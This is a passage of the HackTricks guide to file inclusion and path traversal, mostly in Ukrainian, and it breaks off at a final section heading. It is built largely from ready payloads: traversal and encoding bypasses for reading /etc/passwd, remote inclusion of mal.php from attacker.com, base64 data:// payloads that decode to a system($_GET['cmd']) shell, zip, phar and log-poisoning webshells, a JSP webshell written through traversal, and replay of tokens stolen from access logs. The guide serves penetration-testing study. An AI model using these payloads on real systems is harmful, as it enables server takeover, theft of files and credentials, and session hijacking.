File Inclusion/Path traversal

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

File Inclusion

Remote File Inclusion (RFI): Файл завантажується з віддаленого сервера (Перевага: ви можете записати код, і сервер його виконає). В php це вимкнено за замовчуванням (allow_url_include).
Local File Inclusion (LFI): Сервер завантажує локальний файл.

Уразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажено сервером.

Уразливі PHP functions: require, require_once, include, include_once

Цікавий інструмент для експлуатації цієї уразливості: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE файли

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Поєднав кілька *nix LFI списків і додав додаткові шляхи — отримав цей:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Також спробуйте змінити / на \
Також спробуйте додати ../../../../../

Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти тут

Windows

Об’єднання різних wordlists:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Також спробуйте змінити / на \
Також спробуйте видалити C:/ і додати ../../../../../

Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти тут

OS X

Перевірте LFI список для Linux.

Basic LFI and bypasses

Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences видаляються нерекурсивно

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Обхід додавання зайвих символів у кінці переданого рядка (обхід: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Це вирішено починаючи з PHP 5.4

Кодування

Ви можете використовувати нестандартні кодування, наприклад подвійне URL-кодування (та інші):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Сучасні HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) охоче розбирають attacker-provided HTML, SVG, CSS та font URLs, але виконуються в межах довірених бекенд-мереж із доступом до файлової системи. Якщо ви можете інжектувати HTML у $pdf->writeHTML()/Html2Pdf::writeHTML(), часто можна витягти локальні файли, які може читати обліковий запис вебсерверу.

  • Fingerprint the renderer: кожен згенерований PDF містить поле Producer (e.g. TCPDF 6.8.2). Знання точної збірки підкаже, які фільтри шляхів існують і чи відбувається декодування URL перед валідацією.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() читає атрибут xlink:href з елементів <image> перед викликом urldecode(). Вбудовування шкідливого SVG всередині data URI змушує багато HTML-санітизаторів ігнорувати payload, тоді як TCPDF все одно його парсить:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF додає на початок $_SERVER['DOCUMENT_ROOT'] до шляхів, що починаються з /, і лише пізніше вирішує .., тому використовуйте або провідні сегменти ../../.. або /../../.. щоб вийти за межі root після додавання.

  • Encoding to bypass naive filters: Версії ≤6.8.2 перевіряють лише буквальний підрядок ../ до того, як виконати декодування URL. Надсилання ..%2f (або ..%2F) в SVG або в сирому атрибуті <img src> обходить перевірку, тому що послідовність traversal dot-dot-slash відтворюється лише після виклику TCPDF urldecode().
  • Double-encoding for multi-stage decoding: Якщо введення користувача декодується веб-фреймворком і TCPDF, подвійно закодуйте слеш (%252f). Одне декодування перетворює його в %2f, друге декодування в TCPDF перетворює його в /, даючи /..%252f../../../../… без жодного появи ../ перед раннім фільтром.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() містить ту саму помилку в порядку операцій, що дозволяє прямі HTML payloads, такі як src="%2f..%252f..%252ftmp%252fsecret.png", читати будь-який локально досяжний bitmap.

This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.

З існуючої папки

Можливо, back-end перевіряє шлях до папки:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Дослідження каталогів файлової системи на сервері

Файлову систему сервера можна рекурсивно досліджувати, щоб виявляти каталоги, а не лише файли, використовуючи певні техніки. Цей процес включає визначення глибини каталогів та перевірку наявності конкретних папок. Нижче — детальний метод для цього:

  1. Визначення глибини директорії: З’ясуйте глибину поточної директорії, успішно отримавши файл /etc/passwd (застосовується, якщо сервер на Linux). Приклад URL може бути структурований наступним чином, що вказує на глибину три:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Перевірте папки: Додайте назву підозрілої папки (наприклад, private) до URL, потім поверніться до /etc/passwd. Додатковий рівень директорій вимагає збільшити глибину на один:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Тлумачення результатів: Відповідь сервера вказує, чи існує папка:
  • Помилка / Немає виводу: Папка private ймовірно не існує за вказаним розташуванням.
  • Вміст /etc/passwd: Наявність папки private підтверджено.
  1. Рекурсивне дослідження: Виявлені папки можна додатково перевіряти на наявність піддиректорій або файлів за допомогою тієї ж техніки або традиційних методів Local File Inclusion (LFI).

Для дослідження директорій в інших місцях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить /var/www/ папку private (припускаючи, що поточна директорія має глибину 3), використайте:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation — метод, який використовується для маніпулювання файловими шляхами у веб‑застосунках. Часто застосовується для доступу до обмежених файлів шляхом обходу певних заходів безпеки, які додають додаткові символи в кінець файлових шляхів. Мета — сформувати файловий шлях так, щоб після змін, внесених заходом безпеки, він усе ще вказував на потрібний файл.

У PHP різні представлення файлового шляху можуть вважатися еквівалентними через особливості файлової системи. Наприклад:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • Коли останні 6 символів — passwd, додавання / (утворюючи passwd/) не змінює цільовий файл.
  • Аналогічно, якщо до шляху додається .php (наприклад shellcode.php), додавання /. в кінці не змінить файл, до якого відбувається доступ.

Наведені приклади показують, як використати path truncation для доступу до /etc/passwd — поширеної цілі через її конфіденційну інформацію (інформація про облікові записи користувачів):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

У цих сценаріях кількість потрібних traversals може бути близько 2027, але це число може змінюватися залежно від конфігурації сервера.

  • Using Dot Segments and Additional Characters: Послідовності traversal-ів (../) у поєднанні з додатковими dot segments і символами можуть використовуватися для навігації файловою системою, фактично ігноруючи рядки, які додає сервер.
  • Determining the Required Number of Traversals: За методом проб і помилок можна знайти точну кількість послідовностей ../, необхідних для переходу до root-директорії, а потім до /etc/passwd, при цьому гарантуючи, що будь-які додані рядки (наприклад .php) нейтралізовані, але бажаний шлях (/etc/passwd) залишається незмінним.
  • Starting with a Fake Directory: Зазвичай починають шлях з неіснуючої директорії (наприклад a/). Ця техніка використовується як запобіжний захід або щоб задовольнити вимоги логіки парсингу шляхів сервера.

При використанні path truncation techniques важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і зазвичай потрібне тестування, щоб знайти найефективніший метод.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

У php це вимкнено за замовчуванням, тому що allow_url_include є Off. Воно має бути On, щоб це працювало, і в такому випадку ви можете include PHP файл з вашого сервера і отримати RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Якщо з якоїсь причини allow_url_include увімкнено, але PHP фільтрує доступ до зовнішніх веб-сторінок, згідно з цим дописом, можна, наприклад, використати протокол data з base64, щоб декодувати b64 PHP-код і отримати RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Відкритий репозиторій .git (розкриття вихідного коду)

Якщо веб-сервер відкриває /.git/, атакуючий часто може відтворити повний репозиторій (включно з історією комітів) і провести аудит застосунку офлайн. Це зазвичай виявляє приховані кінцеві точки, секрети, SQL-запити та функціональність, доступну лише адміністраторам.

Швидкі перевірки:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Отримайте дамп репозиторію за допомогою git-dumper:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

Потім відновіть робоче дерево:

cd out
git checkout .

Tip

У попередньому коді фінальний +.txt було додано, бо атакуючому потрібен був рядок, що закінчується на .txt, тож рядок закінчується ним, і після b64 decode ця частина повернеться лише як сміття, а реальний PHP-код буде включений (і, отже, виконаний).

Інший приклад без використання протоколу php:// буде:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python кореневий елемент

У Python у коді на кшталт цього:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Якщо користувач передає абсолютний шлях до file_name, попередній шлях просто видаляється:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Це очікувана поведінка згідно з the docs:

Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються, і об’єднання продовжується з компонента абсолютного шляху.

Java Перелік каталогів

Схоже, якщо у вас є Path Traversal у Java і ви запитуєте каталог замість файлу, повертається список вмісту каталогу. Це не відбувається в інших мовах (afaik).

Топ 25 параметрів

Ось список топ 25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI за допомогою PHP wrappers & протоколів

php://filter

PHP filters дозволяють виконувати базові операції модифікації над даними перед їх читанням або записом. Існує 5 категорій фільтрів:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Видаляє теги з даних (все, що між символами “<” та “>” chars)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Перетворює у інше кодування(convert.iconv.<input_enc>.<output_enc>). Щоб отримати list of all the encodings supported виконайте в консолі: iconv -l

Warning

Зловживаючи фільтром конвертації convert.iconv.* ви можете згенерувати довільний текст, що може бути корисно для запису довільного тексту або щоб функція типу include обробляла довільний текст. Для детальнішої інформації див. LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Стискає вміст (корисно при exfiltrating великої кількості інформації)
  • zlib.inflate: Розпаковує дані
  • Encryption Filters
  • mcrypt.* : Застаріло
  • mdecrypt.* : Застаріло
  • Other Filters
  • Запустивши в php var_dump(stream_get_filters()); ви можете знайти кілька неочікуваних фільтрів:
  • consumed
  • dechunk: знімає HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Частина “php://filter” нечутлива до регістру

Використання php filters як oracle для читання довільних файлів

In this post запропоновано техніку для читання локального файлу без того, щоб сервер повернув вміст. Ця техніка базується на boolean exfiltration of the file (char by char) using php filters як oracle. Це тому, що php filters можна використовувати, щоб зробити текст достатньо великим, аби php викинув виняток.

В оригінальному пості можна знайти детальне пояснення техніки, але тут — коротке резюме:

  • Використайте кодек UCS-4LE щоб залишити початковий символ тексту на початку і зробити розмір рядка експоненційно більшим.
  • Це буде використано для генерації text so big when the initial letter is guessed correctly, що php спровокує error.
  • Фільтр dechunk remove everything if the first char is not an hexadecimal, тож ми можемо дізнатися, чи перший символ — hex.
  • Це, в поєднанні з попереднім (і іншими фільтрами залежно від вгаданої літери), дозволить нам вгадувати літеру на початку тексту, спостерігаючи, коли ми зробили достатньо трансформацій, щоб вона перестала бути hexadecimal-символом. Бо якщо hex, dechunk не видалить його, і початкова “бомба” спричинить php error.
  • Кодек convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). Це дозволяє нам визначити, чи перша літера, наприклад, є a, бо якщо застосувати цей кодек 6 разів: a->b->c->d->e->f->g, літера вже не буде hexadecimal-символом, отже dechunk її не видалить і php error буде тригеритись через множення з початковою бомбою.
  • Використовуючи інші трансформації, такі як rot13 на початку, можливо leak інші символи як n, o, p, q, r (і інші codecs можна використати, щоб перемістити інші літери в hex діапазон).
  • Коли початковий символ — число, потрібно base64 encode його і leak перші 2 літери, щоб leak число.
  • Остаточна проблема — зрозуміти how to leak more than the initial letter. За допомогою order memory filters, таких як convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
  • І щоб мати можливість отримати further data, ідея полягає generate 2 bytes of junk data at the beginning за допомогою convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб pivot with the next 2 bytes, і delete the data until the junk data (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не досягнете бажаного біта для leak.

У пості також опубліковано інструмент для автоматизації цього: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Ви також можете використовувати php://stdin, php://stdout and php://stderr для доступу до file descriptors 0, 1 and 2 відповідно (не впевнений, як це могло бути корисним в attack)

zip:// and rar://

Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.
Щоб мати можливість зловживати rar protocol, його потрібно спеціально активувати

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Зверніть увагу, що цей протокол обмежений конфігураціями php allow_url_open та allow_url_include

expect://

Expect має бути активований. Ви можете виконати код за допомогою цього:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Вкажіть свій payload у POST параметрах:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Файл .phar можна використати для виконання PHP-коду, коли веб-застосунок використовує функції, такі як include, для завантаження файлів. Наведений нижче фрагмент PHP-коду показує створення файлу .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Щоб скомпілювати файл .phar, слід виконати наступну команду:

php --define phar.readonly=0 create_path.php

Після виконання буде створено файл test.phar, який потенційно може бути використаний для експлуатації Local File Inclusion (LFI) вразливостей.

У випадках, коли LFI лише читає файли без виконання PHP-коду всередині, через функції такі як file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), або filesize(), можна спробувати експлуатацію deserialization вразливості. Ця вразливість пов’язана з читанням файлів з використанням протоколу phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Швидкий підсумок: a 3 byte overflow у PHP heap було використано, щоб alter the chain of free chunks певного розміру, щоб мати змогу write anything in any address, тож був доданий хук для виклику system.
Було можливо alloc chunks певних розмірів, зловживаючи додатковими php filters.

More protocols

Перегляньте більше можливих protocols to include here:

  • php://memory and php://temp — Запис у пам’ять або в тимчасовий файл (не зовсім зрозуміло, як це може бути корисно у file inclusion attack)
  • file:// — Доступ до локальної файлової системи
  • http:// — Доступ до HTTP(s) URL-ів
  • ftp:// — Доступ до FTP(s) URL-ів
  • zlib:// — потоки стиснення
  • glob:// — Пошук шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тому тут не дуже корисний)
  • ssh2:// — Secure Shell 2
  • ogg:// — Аудіо потоки (не корисно для читання довільних файлів)

LFI via PHP’s ‘assert’

Ризики Local File Inclusion (LFI) у PHP особливо великі при роботі з функцією ‘assert’, яка може виконувати код, що міститься в рядках. Це особливо проблематично, якщо ввод, що містить символи directory traversal, такі як “..”, перевіряється, але не належним чином очищається.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Хоча це має на меті зупинити traversal, це ненавмисно створює вектор для code injection. Щоб експлуатувати це для читання вмісту файлу, атакувальник може використати:

' and die(highlight_file('/etc/passwd')) or '

Аналогічно, для виконання довільних системних команд можна використати:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

Ця техніка доречна в випадках, коли ви control the file path of a PHP function that will access a file але ви не бачитимете вміст файлу (наприклад простий виклик file()) і вміст не відображається.

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

Коротко, техніка використовує кодування “UCS-4LE” щоб зробити вміст файлу настільки big, що PHP function opening the file спричинить помилку.

Потім, щоб leak перший символ, використовується фільтр dechunk разом з іншими, такими як base64 або rot13, і нарешті застосовуються фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE, щоб помістити інші символи на початок і leak їх.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Для технічних подробиць див. згаданий пост!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Коли серверний код, який ingests/uploads файли, будує шлях призначення, використовуючи дані під контролем користувача (наприклад, a filename or URL) без канонізації та валідації, сегменти .. і абсолютні шляхи можуть вийти за межі призначеного каталогу й спричинити arbitrary file write. Якщо ви можете розмістити payload у веб-доступному каталозі, зазвичай ви отримуєте unauthenticated RCE, кинувши webshell.

Typical exploitation workflow:

  • Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
  • Browse to the dropped payload and execute commands.

Notes:

  • The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
  • On Java stacks, these file writes are often implemented with simple File/Paths concatenation. Lack of canonicalisation/allow-listing is the core flaw.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Заходи безпеки, що усувають цей клас помилок:

  • Розв’язуйте шлях до канонічного вигляду та вимагайте, щоб він був нащадком дозволеного базового каталогу.
  • Відкидайте будь-який шлях, що містить .., абсолютні корені або літери дисків; надавайте перевагу згенерованим іменам файлів.
  • Запускайте процес writer від імені облікового запису з низькими привілеями та розділяйте каталоги для запису від коренів, які обслуговуються.

Remote File Inclusion

Пояснено раніше, follow this link.

Через лог-файл Apache/Nginx

Якщо сервер Apache або Nginx вразливий до LFI у функції include, ви можете спробувати отримати доступ до /var/log/apache2/access.log or /var/log/nginx/access.log, вставити в user agent або в GET parameter php shell, наприклад <?php system($_GET['c']); ?> і підключити цей файл

Warning

Зауважте, що якщо ви використовуєте double quotes для shell замість simple quotes, подвійні лапки будуть змінені на рядок “quote;”, PHP кине помилку в цьому місці і нічого більше не буде виконано.

Також переконайтеся, що ви write correctly the payload або PHP буде кидати помилку щоразу, коли спробує підвантажити файл журналу, і у вас не буде другої можливості.

Це також можна зробити в інших логах, але be careful, код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок authorisation “basic” містить “user:password” у Base64 і він декодується в логах. The PHPShell could be inserted inside this header.
Інші можливі шляхи логів:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Читання access logs для збору GET-based auth tokens (token replay)

Багато додатків помилково приймають session/auth tokens через GET (наприклад, AuthenticationToken, token, sid). Якщо у вас є path traversal/LFI примітив для доступу до web server logs, ви можете вкрасти ці токени з access logs і replay їх, щоб повністю обійти authentication.

How-to:

  • Використайте traversal/LFI, щоб прочитати web server access log. Типові розташування:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
  • Використайте Grep для пошуку GET-запитів, які містять token-параметр, витягніть його значення і replay його проти application entry point.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Декодуйте тіло, якщо воно у форматі Base64, а потім повторно використайте перехоплений token:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Примітки:

  • Tokens in URLs логуються за замовчуванням; ніколи не приймайте bearer tokens через GET у production системах.
  • Якщо додаток підтримує кілька token names, шукайте поширені ключі, такі як AuthenticationToken, token, sid, access_token.
  • Замініть усі tokens, які могли бути leaked у logs.

Via Email

Надішліть лист на внутрішній обліковий запис (user@localhost), який містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>, і спробуйте include пошту користувача за шляхом, наприклад /var/mail/<USERNAME> або /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Завантажте багато shells (наприклад: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, з $PID = PID процесу (can be brute forced) і $FD — файловий дескриптор (can be brute forced too)

Via /proc/self/environ

Як і з лог-файлом, надішліть payload у User-Agent — він буде відображений всередині файлу /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Якщо ви можете upload файл, просто inject the shell payload в нього (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Щоб файл залишався читабельним, найкраще вбудовувати це в метадані зображень/doc/pdf

Через завантаження ZIP файлу

Завантажте ZIP-файл, що містить стиснутий PHP shell, та отримайте доступ:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Через PHP sessions

Перевірте, чи вебсайт використовує PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

У PHP ці сесії зберігаються у /var/lib/php5/sess\[PHPSESSID]_ файлах

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Встановіть cookie на <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Використайте LFI, щоб включити файл сесії PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Через ssh

Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa

Через vsftpd логи

Логи для FTP сервера vsftpd розташовані в /var/log/vsftpd.log. У випадку, коли існує Local File Inclusion (LFI) вразливість і доступ до відкритого vsftpd сервера можливий, можна розглянути такі кроки:

  1. Впровадьте PHP payload у поле username під час процесу входу.
  2. Після ін’єкції використайте LFI, щоб витягнути логи сервера з /var/log/vsftpd.log.

Через php base64 filter (using base64)

Як показано в this article, PHP base64 filter просто ігнорує символи, які не є base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на “.php”, фільтр просто ігноруватиме “.” і допише “php” до base64. Ось приклад payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Через php filters (файл не потрібен)

This writeup пояснює, що ви можете використовувати php filters to generate arbitrary content як вивід. Це, по суті, означає, що ви можете generate arbitrary php code для include without needing to write його у файл.

LFI2RCE via PHP Filters

Через segmentation fault

Завантажте файл, який буде збережений як тимчасовий в /tmp, потім в тому ж запиті спричиніть segmentation fault, і тоді тимчасовий файл не буде видалений і ви зможете його знайти.

LFI2RCE via Segmentation Fault

Через Nginx temp file storage

Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:

LFI2RCE via Nginx temp files

Через PHP_SESSION_UPLOAD_PROGRESS

Якщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start встановлено в Off. Якщо ви вкажете PHP_SESSION_UPLOAD_PROGRESS в даних multipart POST, PHP увімкне сесію для вас. Ви можете зловживати цим, щоб отримати RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Через temp file uploads in Windows

Якщо ви знайшли Local File Inclusion і сервер працює на Windows, ви можете отримати RCE:

LFI2RCE Via temp file uploads

Через pearcmd.php + URL args

